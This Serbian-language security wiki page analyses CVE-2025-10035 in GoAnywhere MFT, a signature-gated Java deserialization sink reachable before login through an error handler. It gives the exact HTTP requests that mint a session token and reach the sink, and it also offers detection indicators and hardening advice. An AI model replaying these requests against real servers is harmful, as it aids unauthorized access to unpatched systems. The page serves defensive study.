+Ova stranica dokumentuje uobičajeni "zaštićeni" Java deserialization obrazac zasnovan na java.security.SignedObject i kako naizgled nedostupni sinkovi mogu postati pre-auth dostupni putem tokova obrade grešaka. Tehnika je primećena u Fortra GoAnywhere MFT (CVE-2025-10035) ali je primenjiva na slične dizajne.
+
+## Model pretnje
+
+- Napadač može da dosegne HTTP endpoint koji na kraju obrađuje attacker-supplied byte[] namenjen da bude serializovan SignedObject.
+- Kod koristi validating wrapper (npr. Apache Commons IO ValidatingObjectInputStream ili custom adapter) da ograniči najspoljni tip na SignedObject (ili byte[]).
+- Unutrašnji objekat koji vraća SignedObject.getObject() je mesto gde gadget lanci mogu da se okinu (npr. CommonsBeanutils1), ali samo nakon gate-a za verifikaciju potpisa.
+
+## Tipičan ranjiv obrazac
+
+Pojednostavljen primer zasnovan na com.linoma.license.gen2.BundleWorker.verify:
+```java
+private static byte[] verify(byte[] payload, KeyConfig keyCfg) throws Exception {
+String sigAlg = "SHA1withDSA";
+if ("2".equals(keyCfg.getVersion())) {
+sigAlg = "SHA512withRSA";        // key version controls algorithm
+}
+PublicKey pub = getPublicKey(keyCfg);
+Signature sig = Signature.getInstance(sigAlg);
+
+// 1) Outer, "guarded" deserialization restricted to SignedObject
+SignedObject so = (SignedObject) JavaSerializationUtilities.deserialize(
+payload, SignedObject.class, new Class[]{ byte[].class });
+
+if (keyCfg.isServer()) {
+// Hardened server path
+return ((SignedContainer) JavaSerializationUtilities.deserializeUntrustedSignedObject(
+so, SignedContainer.class, new Class[]{ byte[].class }
+)).getData();
+} else {
+// 2) Signature check using a baked-in public key
+if (!so.verify(pub, sig)) {
+throw new IOException("Unable to verify signature!");
+}
+// 3) Inner object deserialization (potential gadget execution)
+SignedContainer inner = (SignedContainer) so.getObject();
+return inner.getData();
+}
+}
+```
+Ključna zapažanja:
+- Validirajući deserializer na (1) blokira proizvoljne top-level gadget classes; prihvatan je samo SignedObject (ili raw byte[]).
+- RCE primitive bi bio u unutrašnjem objektu materializovanom pozivom SignedObject.getObject() na (3).
+- A signature gate na (2) zahteva da se SignedObject verifikuje protiv ugrađenog javnog ključa proizvoda. Ako napadač ne može da proizvede validan potpis, unutrašnji gadget se nikad ne deserijalizuje.
+
+## Razmatranja za eksploataciju
+
+Da bi se postiglo izvršavanje koda, napadač mora dostaviti ispravno potpisan SignedObject koji obavija maliciozni gadget chain kao svoj unutrašnji objekat. To generalno zahteva jednu od sledećih opcija:
+
+- Kompromitovanje privatnog ključa: pribaviti odgovarajući privatni ključ koji proizvod koristi za potpis/verifikaciju objekata licence.
+- Signing oracle: prisiliti vendor-a ili pouzdanu signing service da potpiše serialized sadržaj pod kontrolom napadača (npr. ako license server potpisuje ugrađeni proizvoljan objekat iz client input).
+- Alternate reachable path: pronaći server-side putanju koja deserijalizuje unutrašnji objekat bez pozivanja verify(), ili koja preskače provere potpisa u specifičnom režimu.
+
+U odsustvu jedne od ovih opcija, verifikacija potpisa će sprečiti eksploataciju uprkos postojanju deserialization sink-a.
+
+## Pre-auth dostižnost putem tokova obrade grešaka
+
+Čak i kada endpoint za deserijalizaciju deluje kao da zahteva autentikaciju ili token vezan za sesiju, kod koji obrađuje greške može nenamerno generisati i prikačiti token na neautentifikovanu sesiju.
+
+Primer lanca dostižnosti (GoAnywhere MFT):
+- Target servlet: /goanywhere/lic/accept/<GUID> zahteva session-bound license request token.
+- Error path: pristupanje /goanywhere/license/Unlicensed.xhtml sa dodatnim junk podacima i nevalidnim JSF state-om pokreće AdminErrorHandlerServlet, koji radi:
+- SessionUtilities.generateLicenseRequestToken(session)
+- Redirects to vendor license server with a signed license request in bundle=<...>
+- Bundle se može dekriptovati offline (hard-coded keys) kako bi se rekonstruisao GUID. Zadržati isti session cookie i POST-ovati na /goanywhere/lic/accept/<GUID> sa attacker-controlled bundle bajtovima, dostižući SignedObject sink pre-auth.
+
+Proof-of-reachability (impact-less) probe:
+```http
+GET /goanywhere/license/Unlicensed.xhtml/x?javax.faces.ViewState=x&GARequestAction=activate HTTP/1.1
+Host: <target>
+```
+- Nezakrpljeno: 302 Location header ka https://my.goanywhere.com/lic/request?bundle=... i Set-Cookie: ASESSIONID=...
+- Zakrpljeno: preusmeravanje bez bundle-a (nema generisanja tokena).
+
+## Detekcija Blue tima
+
+Indikatori u stack traces/logs snažno ukazuju na pokušaje da se pogodi SignedObject-gated sink:
+```
+java.io.ObjectInputStream.readObject
+java.security.SignedObject.getObject
+com.linoma.license.gen2.BundleWorker.verify
+com.linoma.license.gen2.BundleWorker.unbundle
+com.linoma.license.gen2.LicenseController.getResponse
+com.linoma.license.gen2.LicenseAPI.getResponse
+com.linoma.ga.ui.admin.servlet.LicenseResponseServlet.doPost
+```
+## Smernice za ojačavanje bezbednosti
+
+- Održavajte verifikaciju potpisa pre bilo kog getObject() poziva i osigurajte da verifikacija koristi predviđeni javni ključ/algoritam.
+- Zamenite direktne SignedObject.getObject() pozive hardenovanim wrapperom koji ponovo primenjuje filtriranje na unutrašnji stream (npr. deserializeUntrustedSignedObject koristeći ValidatingObjectInputStream/ObjectInputFilter i liste dozvoljenih).
+- Uklonite tokove u error-handlerima koji izdaju tokene vezane za sesiju neautentifikovanim korisnicima. Tretirajte puteve grešaka kao površinu napada.
+- Dajte prednost Java serialization filters (JEP 290) sa strogim listama dozvoljenih tipova za i spoljne i unutrašnje deserializacije. Primer:
+```java
+ObjectInputFilter filter = info -> {
+Class<?> c = info.serialClass();
+if (c == null) return ObjectInputFilter.Status.UNDECIDED;
+if (c == java.security.SignedObject.class || c == byte[].class) return ObjectInputFilter.Status.ALLOWED;
+return ObjectInputFilter.Status.REJECTED; // outer layer
+};
+ObjectInputFilter.Config.setSerialFilter(filter);
+// For the inner object, apply a separate strict DTO allow-list
+```
+## Primer rekapitulacije lanca napada (CVE-2025-10035)
+
+1) Pre-auth mintovanje tokena putem error handler-a:
+```http
+GET /goanywhere/license/Unlicensed.xhtml/watchTowr?javax.faces.ViewState=watchTowr&GARequestAction=activate
+```
+Primite 302 sa bundle=... i ASESSIONID=...; dešifrujte bundle offline da biste povratili GUID.
+
+2) Pristupite sink pre-auth koristeći isti cookie:
+```http
+POST /goanywhere/lic/accept/<GUID> HTTP/1.1
+Cookie: ASESSIONID=<value>
+Content-Type: application/x-www-form-urlencoded
+
+bundle=<attacker-controlled-bytes>
+```
+3) RCE zahteva ispravno potpisan SignedObject koji obavija gadget chain. Istraživači nisu uspeli da zaobiđu verifikaciju potpisa; eksploatacija zavisi od pristupa odgovarajućem private key ili signing oracle.
+
+## Ispravljene verzije i promene ponašanja
+
+- GoAnywhere MFT 7.8.4 and Sustain Release 7.6.3:
+- Harden inner deserialization by replacing SignedObject.getObject() with a wrapper (deserializeUntrustedSignedObject).
+- Uklonjena generacija tokena error-handler-a, čime je zatvorena pre-auth dostupnost.
+
+## Napomene o JSF/ViewState
+
+Trik sa dostupnošću koristi JSF stranicu (.xhtml) i nevažeći javax.faces.ViewState da preusmeri u privilegovani handler za greške. Iako ovo nije JSF deserialization problem, to je ponavljajući pre-auth obrazac: probijanje u error handlere koji izvode privilegovane akcije i postavljaju bezbednosno-relevantne atribute sesije.
+
+## References
+
+- [watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035](https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/)
+- [Fortra advisory FI-2025-012 – Deserialization Vulnerability in GoAnywhere MFT's License Servlet](https://www.fortra.com/security/advisories/product-security/fi-2025-012)
+
+{{#include ../../banners/hacktricks-training.md}}